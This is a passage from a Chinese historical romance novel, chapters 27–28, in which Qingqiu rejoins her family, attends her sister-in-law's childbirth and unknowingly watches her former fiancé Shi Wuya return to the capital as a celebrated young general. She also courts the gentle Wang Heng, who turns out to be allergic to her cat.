云露顺手将方才摘的茉莉花簪在清秋发间,云露笑道:“姑娘戴这花真好看。” 清秋抬手抚花,唇畔含笑,眼波流转,一举一动倒让云露晃了神。 “大哥可是回来了?”清秋边走边问。 转过回廊时,清秋猝然抬眸,只见廊下一道宝蓝色身影倏尔直立,时隔两年,眼前人与当年一般无二。 “大哥!” 清秋一时激动,扬声大喊,登时如离弦之箭飞了出去。 “清秋!这回是真瘦了,慢着点。”付远衡护着清秋的腰,因她扑过来,他险些没站稳。 这阵子他和付彰在官署抽不开身,本想着去接她,却又因政务繁忙实在为难,以至于拖到现如今休沐才回来。 付远衡早听说清秋回来,差人让孙四娘送些糕点过来,又想着一家人要坐在一起吃饭,只好将东西都放到正房,单独又备了一份送给吕氏。 “大哥,许久未见,倒是壮实了些?”清秋上下打量着,“越来越像父亲了,老成稳重,不愧是大哥啊。” 清秋打趣着,眉眼舒展开来,付远衡凝神看她,也笑道:“是了,你说的自然是对的,两年不见倒是懂事了些,不枉你修行一遭。” 付远衡不比韦氏那般热切,这两年他虽未见清秋,但却晓得这是个人的造化。 付远衡笑道:“你修行两年,那必然学了不少的佛家禅语,不妨讲两句我听听。” “一回来就要考我?难不成大哥是学堂的夫子?我成了你的学生,两年不见,嫂嫂都晓得给我备礼呢,偏生大哥要考我什么佛家禅语,我倒不明白了,大哥心里竟是一点都没有我。”清秋故作气恼,唬得付远衡一时无措。 付远衡眉头紧锁,这付宅里人人都要听他一句话,如今倒好回来了个祖宗。 “你这话说得,好像我这个做大哥的不疼你。”付远衡急道。 清秋见他如此肃穆,反生出些许歉疚,一众兄弟姊妹之中,付远衡年长,最是严谨,故而她心里对这个哥哥敬而远之。 回想往日,付远衡虽时常与她玩笑,可总觉着说不上什么话。 “大哥,我并非此意,这不是许久未见,我想同大哥说些别的,就别考我诗文了。”清秋自然而然地挽上付远衡,面上盈盈笑着。 付远衡听她这番话,心下松懈,眸光逐渐温和。 他入仕两年有余,随付彰在朝中左右逢源,早已不同于当年,而今他见着眼前的小妹,心内腾起一阵恍然怅惘之意。 “清秋,同大哥说一说当初你为何要去修行吧。”付远衡视线落在清秋身上,声音忽然沉了下来。 清秋微怔,仰头看他。 如今正值季夏,廊下日光斜照,付远衡以一支木簪挽发,眉眼清俊,他被清秋看得发愣,疑道。 “你这般看着我作甚?” 第27章 那人当真是师无涯 清秋松手, 掩唇轻笑:“没什么,只是觉得大哥这样古板无趣的人,怎么娶到这么好的一个嫂嫂的。” 此言一出, 付远衡连连蹙眉, 低声道:“别胡说。” 这一番话下来, 付远衡倒不再追问她当初去修行的缘由。 二人在廊下穿行,暑气渐浓,清秋薄汗涔涔, 付远衡倒不觉得热,眼中竟还有些欣喜。 “大哥, 不觉得热?”清秋疑道, “有什么值得高兴的事?” 付远衡朗然笑道:“你不知倒也不奇怪,前两年边关夷族来犯,渭州城险些失守, 据传是位少年小将挺身而出守住了渭州城,广威将军见他是个好苗子, 留他在渭州历练,谁知此人骁勇善战,屡建奇功, 官家对他颇有赞赏, 不久便要启程回京。” 清秋暗道名不见经传的士卒,要想在军中有一番成就想来是不容易的。 “大哥是为此事高兴?”清秋问道。 “自然,能有此悍将是家国之幸, 保家卫国者,值得钦佩。”付远衡大加赞赏,满目钦佩之意。 这样的目光,清秋是第一次在付远衡眼中所见。 清秋思索片刻, 问道:“二哥哥也要回来了,那这位少年将军与二哥哥岂不是认识?” 谈及付高越,付远衡剑眉倒竖,气道:“你和高越二人品性最像,当初也是一声不响地跑了出去,叫母亲彻夜难眠,没一个省心的。” 话落,付远衡觉得这话有失偏颇,又道:“只清岁还好些,你二人迟早要将家里搅得天翻地覆。” 清秋眉眼耷拉,一时理亏不敢再问。 付远衡与清秋一道入正房,付彰正吃着茶,见来人是清秋,一时老泪纵横,茶呛在喉咙里,韦氏命人去摆饭。 “清秋啊?真是清秋?”付彰揉了揉眼,揽着清秋的肩转了好几圈。 “是了,就是清秋。” 付彰涕泪纵横,顾不上仪容,一个劲地说这两年多想多想她,清秋那抵得住老父亲的煽情,不过一两句话跟着哭了起来。 一见这场面,韦氏没忍住也捶胸顿足地哭了起来。一屋子人,哭的哭,喊的喊,看得付远衡直皱眉。 付远衡扶过老父亲,语气深沉道:“行了父亲,清秋不好好的,哭成什么样子了。” 吕氏来得正好,劝住了韦氏,清秋一时也止住了泪,一家子人活像在认亲,用饭时只付远衡和吕氏吃得下。 清秋望见付彰鬓边白发,心中难免自责,咬着箸发愣。 一顿饭吃下来,吕氏连连叹气,付远衡见她身子重,不肯让她久待,便亲自送她回院。 韦氏心知付彰许久未见清秋,便先行离开,留他父女二人说话,临出门前,韦氏眼中还挂着泪。 付彰心里念着小女儿,可当真两人面面相对之时,他却不知该说些什么,清秋亦是如此,何况她年岁渐长,往日那些小女孩家的心思,她也再难开口。 父女二人在灯烛下你看看我,我看看你,最终都掩不住笑。 “青山寺受苦了,清秋。”付彰一开口,眼眶便跟着红了起来。 清秋抿唇,摇头道:“不苦,父亲都是我自己要去,如今回了家,再不会像从前那般不知事了,父亲你瞧你鬓边白发都多了。” 付彰抬手摸了摸鬓发,笑道:“是啊,两年过去了,想当初你不过是个刚及笄的小姑娘。” 他嗓音沙哑,说起两年前的事,便回想起了那时清秋的模样,鲜亮可爱的小女儿,一点都没变。 清秋与付彰说了小半个时辰,从两年前聊到旧时杭州的事。 —— 时至八月,吕氏快要生产之日,清秋日日守在吕氏身边,韦氏知道妇人生产不易,心中担忧,命李妈妈去请汴京城内的妇科圣手候在付宅。 八月十四日,亥时三刻,吕氏有了发动之象,腹中胎动,吕氏惊呼一声,登时手脚乏力。 清秋睡在外间榻上,听到里头声响,忙命人去请大夫,谁知那大夫吃醉了酒,只好随意在街上拉了个稳婆。 “嫂嫂,已经命人去请大夫了。”清秋进里屋安抚吕氏。 吕氏额头冷汗涔涔,一双白嫩纤细的手紧紧攥着清秋,坚难启齿:“清秋,我好怕。” 清秋哪儿见过这种场面,见吕氏眼底含泪,冷汗直冒,心底担忧起来,可她不能显露,吕氏本就害怕,她不能露怯。 早些年韦氏常在清秋面前念叨女子生产如何如何艰难,清秋虽心疼母亲,却不想是这般。 吕氏披头散发,汗水沾湿亵衣,清秋定了定神,轻声道:“嫂嫂别怕,我在这儿守着你。” 话落,吕氏颤颤抬眸,眼中惊惧消散少许。 “快去打热水来。”李妈妈领着稳婆进屋。 稳婆道:“门窗都关上,别叫娘子受了寒。” 外头落了雨,稳婆着褐衣急奔而来,稳婆拍散身上水渍,见屋里有贵人在,忙道:“娘子先出去,待会见了血要不得的。” 吕氏面露难色,腹中胀痛,一时松了手,李妈妈见状忙带着清秋出门。 清秋回首,朝吕氏道:“嫂嫂,我在廊下候着,大哥明日就回来,嫂嫂——” 清秋的话尚未说完便被李妈妈带了出来,韦氏候在亭下,清秋坐立难安,房里传出撕心裂肺地喊声,那声音如钻心的虫子往清秋耳朵里爬,唬得她心口发麻。 “妇人生产总是有这一遭的,清秋坐下罢。” 韦氏一脸从容,仿佛不是什么大事,清秋只好静下来。 “母亲,您当年怀我时也这般?”清秋疑道。 李妈妈奉茶,忧道:“夫人当年生姑娘时更是凶险,因上了年岁使不上力,折腾了许久。” 韦氏垂首静默,缓缓道:“亏你还记得,过去这么久了,倒是忘了。” 此夜风雨连绵,乌云遮住月光,院中石灯烛光灰暗,房内吕氏一声嘶喊划破黑夜,伴随着婴儿地啼哭,清秋被揪着的心登时松了下来。 稳婆出来报喜,她额头汗珠密布,笑道:“是个男孩,白白胖胖是个福小子。” 李妈妈随之笑道:“子时刚过,生在中秋这天,真是来添福添岁的小郎君。” 韦氏心口吊着一口气,闻言眉头舒展开来,道:“让大息妇先歇着,好生照料,辛苦她了,也是不容易,这是头一遭。” 清秋望着房内扑闪的烛光:“母亲,我陪在嫂嫂身边罢,她一个人害怕,我闲来无事,母亲快回去歇着。” 韦氏颔首,道:“多顾惜着自个儿,明日回去歇歇。” 稳婆接过赏钱,踏着月色要离开,清秋拦下她,“落过雨,路上湿滑,明日再走罢。” 稳婆道:“我们这等人,留在娘子家里脏了眼,得了赏也就走了。” “当真是说笑了,何来高低贵贱之分,幸而有您在,嫂嫂才得以生产,多谢了。”清秋仍道,“明日再走罢。” 稳婆紧着手中赏钱,心底蓦然一热,点点头:“娘子心善。” —— 八月十五这日,付远衡休沐回宅,他一路狂奔回院,吕氏正倚在床沿,清秋喂她吃药。 昨夜雨疏风骤,今日却天晴气爽,晴空如洗。 付远衡风尘仆仆进屋,虽说相隔不远,但他直奔而来,眼周乌青,似是一夜未眠。 清秋放下汤碗,笑道:“我回来都未见大哥这么急,既然哥哥回来了,我便走了。” 付远衡粗喘着气,道:“这会子了,还说这些,汀英可还好?这些时日苦了你了,我来吧清秋。” 话落,付远衡接过清秋手中的汤碗,吹一勺喂一勺,清秋笑着打趣。 “有大哥在我是不用操心了。”清秋坐到美人榻上斟茶喝。 吕氏抬眼见她行动迟缓,心道这两日辛苦她了。 “清秋,你也多亏了你陪着我,不妨你来取个小名。”吕氏笑望向付远衡,付远衡目光轻柔,默许她的决定。 这个孩子是他和吕氏头生的儿子,本该是他二人来取名,但他仔细想了想,这段时间他政务繁忙,顾不上吕氏,好在有清秋时时陪着。 清秋思忖道:“不了,嫂嫂和大哥的孩子,我来取名不好,再者说我取得不好,尹姐姐晓得了是要罚我的。” “你啊,天不怕地不怕,还怕上尹惜了。”吕氏笑道,“她敢拿你?我就去说道说道,我家小妹,倒成了她的小妹了。” 清秋掩唇轻笑,神色疲倦,轻声道:“既如此,那容我想想,该取个什么名字才好。” 良久,清秋才出声:“是小名的话,取个吉利的就叫团圆,正巧二哥哥也要回来了,又生在这中秋佳节,叫团圆是再好不过了。” 付远衡蹙眉,吕氏瞅他这副模样,凝眉道:“官人觉得这名字不好?” “哪有,我寻思着那小将军都回了汴京,但高越却没点消息,也不来信,不知他何时回来。”付远衡道。 “团圆很好,小名就叫团圆。”付远衡朗声笑道,目光怜惜地看着吕氏,“吉利,夫人辛苦了。” 清秋身觉疲惫,眼见付远衡和吕氏情意正浓,匆匆交代几句便回院了。 回院后,清秋睡了小半个时辰,午后瞳瞳在屋内叫唤,清秋穿衣起身,见瞳瞳抓着猫笼,清秋将它抱了出来。 午后日光浮沉,昨夜落过雨,今日天晴凉爽。 清秋支手扶额,轻轻揉着太阳穴,怀中瞳瞳猫在她身上,猫爪不停地踩奶,美人榻上清秋又眠了一阵。 不知为何,她心里有些慌,总觉得漏了些什么。 院中青梅树枝叶横斜,绿影浮动,廊下几道浅影,清秋醒了神,摸着瞳瞳柔软轻细的绒毛,瞳瞳乖顺地迎合她。 清秋猝然睁眼,忽地想起来,吕氏与尹惜是闺中好友,吕氏生产,尹惜尚不知晓,算着时日她也该去贺府拜访了。 省得日后尹惜添她不敬师长一罪,那可是不好担待。 尹惜待她亦师亦友,只是这师父着实太过独立。 思及此,清秋唤来绿柳云露去套车,她换上碧青色扎染素绢褙子,下着天青色素纱百迭裙,装束清丽婉约,敛去少女灵动的姿态。 清秋带着瞳瞳一道去贺府,临行前,云露打听到那位少年将军正时此时入城,若是这会上御街说不定还能遇上。 马车内清秋闭目养神,一只藕白素手环着白玉镯,乌发拢起,耳边自然而然垂下两缕发丝,与白玉珥珰错落交替。 云露掀帘往外往去,今日街上来人行人众多,想来都是为看少年将军而来。 “姑娘,我听说了一件稀奇事,姑娘想听吗?”云露新奇说着。 绿柳睨她一眼,暗道云露哪壶不开提哪壶,更何况清秋一夜未眠,正修身养神,说些有的没的。 清秋缓缓抬眼,摸着瞳瞳,不以为意地道:“什么新鲜事,当我不知道呢?” “左不过是那位少年将军,我听大哥说了,他今日回京,瞧着这阵仗倒是和他撞上了。”清秋伸手掀帘,懒懒望了一眼。 街上鳞次栉比,商贩叫卖,御街两道有士兵驻守,马车是不能再走了,迎面撞上总归是要让的。 清秋暗想这人排场如此之大,不知收敛,到底是年青还是心高气傲。 “姑娘,前头拦住了,待那位将军过了才肯放行。”车夫扬声朝里头道。 云露心下好奇,又往外探头,当真是热闹,一眼望不到头,别说一辆马车,光是前头就拦了不少。 那些马车不比付家的差,皆是京中贵族所乘。 清秋定定神,将瞳瞳放回猫笼,平声静气道:“既如此,我们先去元丰楼歇歇脚,待到人散了再行,你们若是好奇,待在下头瞧就是。” 云露哭丧着脸,自家姑娘肯给这个面子,可绿柳是不肯的,哪有不跟着主子的道理。 绿柳先行下马车,端来马凳扶清秋下来。 方才在马车中清秋未看得清,此时才惊觉御街两侧行人之多,这场面怕是佳节都难得,因人多声杂,清秋不想多留,快步往元丰楼去。 不少观望的女子手中持花,喜笑颜开,眉眼尽是欢欣。 前阵子的百戏、说书先生、书行皆在宣扬这位少年将军,将此人说得无所不能,无所不行,就差说他乃神仙下凡。 清秋深知其中吹嘘成分之重,但听付远衡所言,又觉此人有些本事,应当不是个花架子。 元丰楼掌柜是先前往付宅送过糕点的孙四娘,她在柜前打算盘,见清秋几人前来,急忙放下手头的事迎上来。 “付二姑娘今日怎么亲自过来了。”孙四娘常年帮厨,身形矫健,三步并作两步蹿到了清秋身前。 此时元丰楼人不算多,今日风头都被抢了,孙四娘才得闲算账。 “今日人多,我避一避,带我去雅间。”清秋打量着元丰楼,装饰华丽,彩门欢楼自不必说,平日里来的人多,还会搭上戏台。 孙四娘纳罕道:“付二姑娘竟不想去凑这个热闹?我可听说了,那人高大威猛,俊朗无双,骁勇善战,如今可是汴京的传奇人物。” 云露听她如此说,连连点头,绿柳见此敲打云露。 “与我何干呢?孙姐姐,包一碟百花糕,再做些冷元子来,今日还想要碗梅子汤。”清秋浅浅一笑,抱着瞳瞳上楼。 二楼雅间用珠帘玉幕隔开,整洁雅致,山水屏风更添意趣,雅间靠窗处正对御街,是观望长街的好位置。 只是清秋无甚兴趣,就好比她方才所言,与她何干呢。 清秋凭窗而坐,倚在小几上闭目养神,瞳瞳窝在她怀里也跟着闭目养神,云露则高兴地支开窗,先前她便想看,现如今逮到了机会,她必然要好好看看那少年将军。 云露伏在窗沿,聚精会神地盯着长街,绿柳闲来无趣,站在一旁也往下看。 “我倒要看看是多么多么的俊朗无双。”云露一脸少女怀春。 绿柳打趣道:“你啊,是愁嫁。” “我才没有呢,绿柳姐姐,你看看来了来了。”云露望见远处南薰门处人头攒动,有一银甲少年踏马而来,身后跟着一众士兵。 时近酉时,暮光浮云,残红斜阳扑撒整个汴京,暮光透过窗照进雅间。 清秋心中悸动不安,长睫轻颤,缓缓睁开眼,垂眸盯着怀中瞳瞳,道:“怎么心慌起来了。” 那一丝心慌,有心头生出,密密麻麻蔓延至四肢百骸。 楼下人声鼎沸,清秋自个倒了盏茶,浅啜两口后,心下安然。 清秋见她二人凝神望着御街,眉心轻蹙,疑道:“当真是天上有,地下无?” 真有那样好的神人? 清秋抱起瞳瞳,指腹轻捏猫爪,逗弄着它。 云露叹道:“走得慢呢,才到哪儿啊,那边街上的花占了御街一条道,都瞧不见青砖了,姑娘要不来瞅瞅?” 绿柳往前看去,也道:“是走的慢,想是那些花拦了路,不过倒是越走越近,瞧着那人的身形倒是有些眼熟。” 清秋搂着瞳瞳正起劲,没在意绿柳的话,倒是云露驳道:“哪儿眼熟了,绿柳姐姐这就攀上关系了?人家名姓都还没露出来呢。” 绿柳正色道:“你不觉着眼熟?” 闻言,云露睁大眼睛,试图看得远些,只见那马背上的少年意气风发,一杆银枪,身披银甲,除了威风外,再瞧不见别的。 说像谁,云露心里一时没底,但好像却是有些像记忆里的某个人。 一闪而过的念头和身影吓坏了云露,绿柳眉目一紧,云露猜想绿柳和她想到一处去了。 二人齐齐回头望向清秋,清秋只一心逗弄狸奴,全然不闻窗外事。 马踏声越来越近,云露紧绷着下颚,垂眸望着御街下行进地军队,绿柳屏住呼吸,静候军队。 沿街的花儿扔了出去,领头之人无视鲜花美人,只昂首目视前方,满街的花雨纷飞,人声鼎沸,那人的身影逐渐明了。 青年面容俊朗,不输世家公子,只是他眉宇间透着一丝散漫,颇有几分风流倜傥之意,又因身披银甲,实打实地是一位少年将军。 这位少年将军如话本子里说的那样,意气风发,是为当今最年青的将军。 那人当真是师无涯。 云露绿柳紧绷着的那根弦终究是断了,哄闹声并未引起清秋的注意,她只满心欢喜地逗着瞳瞳。 绿柳朝云露摇摇头,云露连连点头,二人不再观望。 想当初,清秋因师无涯大闹一场,之后几度病重,付宅上下人人忧心,只怕姑娘就此去了,还好是挺了过来。 云露暗暗垂眸,也怪自己当初一时嘴快惹了这桩事出来。 绿柳轻拍云露的手心,会心一笑。 “如何?那少年将军叫你们二人说不出话来了?”清秋满目惊异,看她二人神色紧张,不知是见了什么妖魔鬼怪。 清秋暗想那少年将军不会丑得无法见人,才致她二人神魂失守,一副见了鬼的模样。 “我听这声那将军应当是快了御街,今日我要去见尹姐姐,迟了不好,待会便走吧。”清秋抱起瞳瞳放回猫笼。 孙四娘正好打包好食盒,那食盒精美,镂空雕花,煞是体面。 清秋命绿柳付钱,云露替着食盒下楼,先安置好瞳瞳,街上士兵犹在一时半会还走不了,清秋索性再吃了一盏茶。 这两日她心头总有不安,孙四娘听她如此说,送了些安神茶,清秋道谢。 元丰楼她是常客,付宅里给出去的赏钱不少,孙四娘是会做买卖的,这些小物件上她从不计较。 孙四娘送清秋下楼,临上马车前,孙四娘爽朗一笑,道:“付二姑娘慢走。” 清秋颔首浅笑。 街上还残余着鲜花,一路翻花被车辙碾碎,暮色四合,流云西去。 清秋掀帘往街上看去,贺宅在马行街,她一路有些远,但有马车代步,尚且快些,今日因那将军回京耽误了许久。 “那将军当真是英俊,瞧上去不过二十左右,竟有这般神武。”挎篮的女子粉面含春,不加掩饰地期盼。 仿佛那少年将军是什么夺人魂魄的妖精。 她身侧之人开口:“听闻那将军不是汴京的人,好生神秘的人。” 清秋侧耳倾听,心念一动,朝车夫道:“停下。” 云露不安地探问:“姑娘,这是怎么了?” 绿柳心下一紧,生怕清秋问及少年将军。 “云露,方才我有东西落下了,帮我去拿回来。”清秋眉梢低垂。 车夫勒马停下,打眼一看,这面前的战马好似方才那位凯旋的将军所骑,那一杆银枪还尚在门口立着,散发着银光寒气。 第28章 再相见 清秋命云露去取她落在元丰楼的绒花簪子, 绿柳见此便一道和云露回元丰楼,路上绿柳再三叮嘱不要提及师无涯。 暮光犹如柔和的碎金,点点散落, 街头陡然恢复如常, 方才的热闹一时间散了去。 清秋支手倚在帘边, 清辉玉臂半隐半显,闭目养神。 忽地一声,马车传来一阵嘶鸣, 车夫惊诧地望着面前银甲将军,手持银枪, 动作行云流水, 径直翻身上马。 “怎么了?”帘子里头传出淡漠的声音。 车夫讪笑道:“托姑娘的福,见到了那位少年将军。” 那风姿,那身形, 饶是他是铮铮男儿,也忍不住要多看两眼。 清秋心道这少年将军的风真大, 从她回汴京来就一直听闻他的传奇,吹得无所不能,说不好奇那是假的。 可说得多了, 也惹人烦。 清秋不再搭话, 不过多时,云露绿柳取来绒花簪子,马车碾过青石板街道, 慢腾腾地往马行街去。 临至何宅前,天色已晚,月色渐浓,倒映出翩翩人影。 尹惜近来身子不适, 已许久未出过门,冬月引着清秋去正屋,贺清因公事繁忙不在宅中。 刚一进门便见一藕粉团子冲了过来,扑到清秋怀里,清秋躲避不及,提着猫笼的手狠狠一颤,冬月忙将那小团子拉开。 冬月蹙眉道:“湘姐儿不懂事,冲撞姑娘了。” 灵霜闻声出来,顺手接过清秋手中猫笼,这只异瞳狮子猫灵霜知道是雪团的孩子,遂将其待到后院去与雪团玩。 清秋俯下身细细打量眼前的小姑娘,俏皮可爱,承了尹惜眉宇间的淡然之气,实在不像个四五岁的小姑娘。 “好生可爱,云露将百花糕拿来。”清秋回首道。 清秋喂她吃,她不肯,直至帘后尹惜出来,她才收敛脾性,缓缓接过百花糕。 清秋心道这小女娃和尹惜一个性子。 “今日怎么来了?”尹惜轻声问,她面色不好,神情恹恹。 “湘令你作甚,待你父亲回来收拾你,我是管不住你的。”尹惜蹙眉道,“冬月带她回屋里去,晚些时候我要考她。” 清秋正欲帮她说两句话,尹惜眉梢带笑,弯唇道:“你今日助她,那日后呢?你又不常在身边,别护着她了。” 尹惜房中素净雅致,古色古香,靠近窗边的书柜层层叠叠的一摞书,旧书案上还放着未读完的新书。 清秋抬眸望向花窗,忧道:“尹姐姐,你的病是怎么回事?” “不是什么大事,酒喝多了,只是晕。所以你今日来是专程看我的?”尹惜抿茶,拿余光看她。 尹惜眸光忽闪,唇边涌上笑意,直盯着她问:“你和王家郎君如何了?” “我可听说了,王夫人把那金石珠宝流水似地往付宅送,王恒是个不错的小郎君,站在世俗来说,他进士及第,家世显赫,人品高洁,实在是不可多得的好郎君。” 明月高照,窗檐下银光满地,几缕清风吹进来,翻动书案上的典籍发出哗哗的声响。 尹惜递给她一盏茶,她的手腕上仍带着金镶玉镯子,这镯子与她本人气质相悖,清秋一时失神,凝神思索尹惜的话。 王恒确实是不可多得的良人,待她好,敬重她。 或许将来她也会和王恒举案齐眉,相敬如宾。 思及此,清秋抿开笑,眸光莹亮,道:“确实如此,王郎君敬重我,半年之后我会与他定亲,尹姐姐也算我们之间的半个媒人了。” 往日在青山寺是清秋与尹惜偶尔相见,但王恒却是常住客堂,清秋则住在那间寮房,尹惜不来青山寺时,王恒便来同清秋说说话。 寒来暑往,二人日渐熟悉,尹惜还时时带着元圣元智打趣两人。 尹惜身觉疲倦,深吸口气,道:“你如今与王恒情意正浓,趁年少诉尽爱语,不要日后生悔。” “我便不送了。”尹惜懒懒起身,灵霜送她出宅。 明月高照,灵霜送至贺宅前,清秋颔首道谢,再一抬眸,却见王恒踏月而来,松风正直,举止优雅。 清秋见他来,眸光微颤,眉梢轻挑,笑问:“你怎么来了?” 王恒应道:“我让观墨去寻你,得知你不在,只能是来贺大人家了。” 清秋眸子一转,起了逗弄的心思,道:“哦?王郎君怎么知道我不是去见那位少年将军的?” 王恒与她并肩同行,月下两道细长人影。 “付二,你又不是那爱凑热闹的性子,况且那日我见你对那少年将军并无任何好奇。”王恒缓声说着,似是将清秋的底摸了个透。 清秋撇嘴,道:“你就这么了解我?” 王恒笑得轻柔,低声道:“总觉得还不够了解你。” 回想青山寺的两年,王恒待她极好,陪她温书,教她些许典故,而她则陪着王恒烹茶酿酒,弹琴对弈。 “了解一个人并非一朝一夕的事,王郎君,将来我们——”清秋面色飞霞,忽地止住话。 她怎么能说出这般话来! 清秋咬唇含羞,王恒轻咳一声,唇边噙着笑。 “我明白,半年之期我记着的。”王恒道,“对了,我还未见过瞳瞳,能否见见。” 闻言,清秋忙将猫笼提过来,小心地递给王恒,指腹相摩,清秋悄然垂眸,王恒耳尖泛红,晚间风过,吹散一丝羞怯。 清秋深吸口气,忽觉心跳加速,一阵风吹得心间燥热。 王恒亦是如此,二人相约去了元丰楼雅间,王恒命观墨去买了猫食,先前清秋和他提过瞳瞳,他今日还是第一次见这只异瞳狮子猫。 瞳瞳轻轻蹭着王恒的手心,触及到莹白绒毛时,王恒微怔,鼻尖生出痒意,渐渐地那股忍不住想要抓挠的痒蔓延至全身。 王恒登时松了手,止不住地咳了起来,观墨上前扶着,愁道:“公子这是怎么了,脖子上起了红疹,手上也有。” 清秋慌了神,忙上前去查看他的手,“一下子起了这一大片,是不是很痒?我从前听闻有些人不能近狸奴,轻则咳嗽不止,重则如你这般。” 王恒手指骨节分明,清秋轻抚他手被上的红痕,眉头深蹙。 清秋忧道:“我母亲往日不许我养狸奴,想来也是有这一层,王郎君严不严重?绿柳去请郎中来。” 语毕,瞳瞳蹭地蹿到王恒身边,乖顺可怜地蹭着他的衣裳,它一过来,王恒扯着嗓子,咳得越发严重。 清秋见此,忙抱起瞳瞳放进猫笼,道:“云露带瞳瞳下去,放到马车上,将猫食也带下去。” 不多时,绿柳便请来郎中,郎中离马行街不远,只提着个小药箱就过来了。 王恒肤白如玉,一咳起来整张脸都红了起来,像是涂了脂粉的小娘子。 清秋不能笑,却又压不住眼底的笑意,王恒余光瞥见她眼中笑意,也跟着笑了起来,郎中却一脸正经。 “这可不是小事,郎君若是再接触狸奴将来恐怕生咳症。”话落,观墨跟着郎中去抓药。 清秋临窗而坐,倒了盏茶递到王恒手上。 “是我考虑不周,你若是真病了,我心里是过不去的。”清秋愁眉紧锁,心下担忧,“早知如此,我便不和你说了。” 王恒是国公府嫡长子,王夫人所出只此一子,若是有什么闪失她怎么好交代。 王恒反手握住清秋的手,两人手心滚烫,王恒忍着咳意,温柔道:“不妨事的。” “清秋。” 这是王恒第一次这样叫她,往日王恒总碍着礼数,叫她付二姑娘。今夜他却握着她的手,眼中丝毫不掩爱慕之意。 发乎情,止乎礼。王恒心中时时记着,可此时此刻,他难掩心中感情。 见他如此,清秋鼻尖忽酸,泫然欲泣。 她手心灼热的温度渡到王恒掌心,窗外吹来夜风,清秋鬓边发丝凌乱,一滴清泪落在他手背。 清秋止不住地想,她为什么会哭,那是没由来的情绪,她说不清道不明。 “别哭,无碍。”王恒轻轻擦去她眼角的泪,他举止太过温柔,仿佛这夜的风清透舒适。 清秋并不排斥他,反倒感觉心田里淌过暖意。 “王郎君,能否告诉我,我哪里值得喜欢?” 清秋潸然泪下,眼泪如同断了线的珠子,她哭得越发伤心,仿佛决堤的江岸涌了出来。 王恒心蓦然一颤,慌忙起身,正想伸手抱住她,心下又觉得此举太过轻薄。 “清秋,许多事是讲不出因果的。”不知何时,王恒眼中也起了一层薄雾,看向她的目光生出几分怜惜来。 那种疼惜怜爱的目光,清秋从未见过,她知道王恒是真心喜欢她。 将笄之年,她为追寻一个这样的目光,丢尽脸面。 —— 戌时,清秋回付宅去看小团圆,吕氏枕着小几,桌边摆着白瓷小碗,里头是褐色的苦汤药。 清秋抱着团圆,问道:“嫂嫂身子如何?” 吕氏笑言:“当时是怕的,现在好多了。听母亲说你又去了贺宅?尹惜近来可好?” 自嫁进付宅,吕氏与尹惜已有许久未见,尹惜不爱出席宴会,想见她一面比登天还难。 清秋搓搓手,捏着团圆粉嫩的小脸,顺口道:“尹姐姐还爱喝酒呢,我倒见着湘令了,是头一回见到尹姐姐的女儿,和尹姐姐如出一辙。” 吕氏笑笑,尹惜那性子生出来的女儿像她也不奇怪。 吕氏抿了一颗梅子糖,压压苦,口里苦味散了,吕氏忽地想起一桩事。 “清秋,你为何迟迟不肯应下这桩亲事。母亲是觉得王夫人别有用意,我却瞧得出来,是你不肯,只要你松口,那国公府是马上要来下聘的,”吕氏眉头微蹙。 王夫人膝下只王恒一子,必定是疼爱有加,王恒所愿,王夫人定然应允,况付家前程无量,又是书香人家。 看似高攀,实则门当户对。 吕氏尚在闺阁时就知王夫人是个多愁善感的,前些年她也是见过的,清秋嫁过去必定婆媳和睦。 清秋微怔,将团圆抱回摇篮。 “嫂嫂,我只是需要些时日想清楚的,婚嫁大事不敢马虎。” 话落,清秋不再多留,吕氏命人送她出去,见清秋神情古怪,吕氏心下有疑。 不多时,付远衡踏月归来,房内灯烛摇曳,付远衡进屋抱起团圆,坐至吕氏身边。 吕氏神情肃穆,付远衡后背生寒,心虚地哄着团圆。 “清秋,往日里可有喜欢的人?”吕氏正色问道。 闻言,付远衡眸光忽冷,道:“你问这个作甚,她如今不是和王家郎君有意?” 见他如此,吕氏心中了然,定然是有,她勾唇道:“清秋也是我的妹妹,怎么我不能晓得吗?官人不同我说也没什么,我晓得的,你就是嫌我,恨我从前与人有婚约,我心里都知道的。” 说着说着,吕氏细眉轻蹙,眼眶红润。 灯下美人垂泪,偏生这美人是他苦求多年才娶来的,付远衡将团圆交给老妈妈,关上门。 付远衡轻轻搂过吕氏,眉心紧拧,可怜道:“你说这些作甚,我何时这么想过,我在你心里就是这样的人?” 吕氏暗喜,故作委屈道:“那你便将妹妹的事一五一十地和我说。” 付远衡只得将陈年旧事讲出来,只是其中细节他并不知晓,只说当年师无涯退婚,清秋几度病危,自此宅中再不提师无涯。 听罢,吕氏暗暗叹气,推开付远衡自顾自地睡去。 —— 因那少年将军凯旋,官家为他赐府设宴,定在九月初一那日。 只是说来奇怪,群臣百官还未得见少年将军,但见广威将军对其称赞有加,与外头的话本子里写的所差无几。 如此一来,不少人起了嫁女的心思。况此次宴会,官家准许亲眷入内,实在是难得好机会。再不济,宫中几位大王尚未娶妻,能得娘娘眼缘也是好的。 八月下旬,清秋在院里看书练字,闲时会给王恒写信,因瞳瞳那件事,清秋将衣裳分作两类,一类出门时未沾猫,一类则是在家时穿的常服。 王恒是世家贵公子,又是国公府的宝贝,金玉里养大的人,清秋不敢松懈。 王恒既不能碰狸奴,她便格外小心些。 少年将军的事,清秋听说了,九月的宫宴她本不想去,可想到王恒与盛婼都会去,清秋还是备下一套衣裳等到宫宴时穿。 韦氏得知她要进宫,命人去打新的头面,采买时兴的首饰,清秋拦不住韦氏,只随她去买,左不过是使点银子的事。 反正韦氏买的那些衣裳,多数她也不穿,只放在柜里。 近来暑气重,清秋不大出门,王恒邀她出门去大相国寺,只去过一两回,大相国寺每月五次庙会,供百姓交易,彼时来往各地的商人陈列商品,稀奇玩意无一不有。 八月末,一场骤雨来袭,打落枝叶遍地。 清秋坐在书案前抱着瞳瞳,云露送来明日要穿的衣裳,绿柳则送来韦氏要她穿的衣裳,两人你看看我,我看看你。 窗外雨打屋檐,乱雨如珠,清秋打眼瞧两件衣裳相差无几。 “云露,把我挑的那身放回去。”清秋起身道。 云露颔首放回去,绿柳道:“姑娘,明日的首饰挑好了吗。” “倒是差不多了,母亲都同你说了,不必再问我了,你们都出去吧,我乏了。”清秋将瞳瞳抱给绿柳,绿柳微微侧身,眉头紧皱。 云露见此,忙从绿柳怀里抱过,道:“姑娘,睡吧,我和绿柳姐姐先下去了。” 清秋没瞧见绿柳眼中的抗拒,只颔首让她离开。 —— 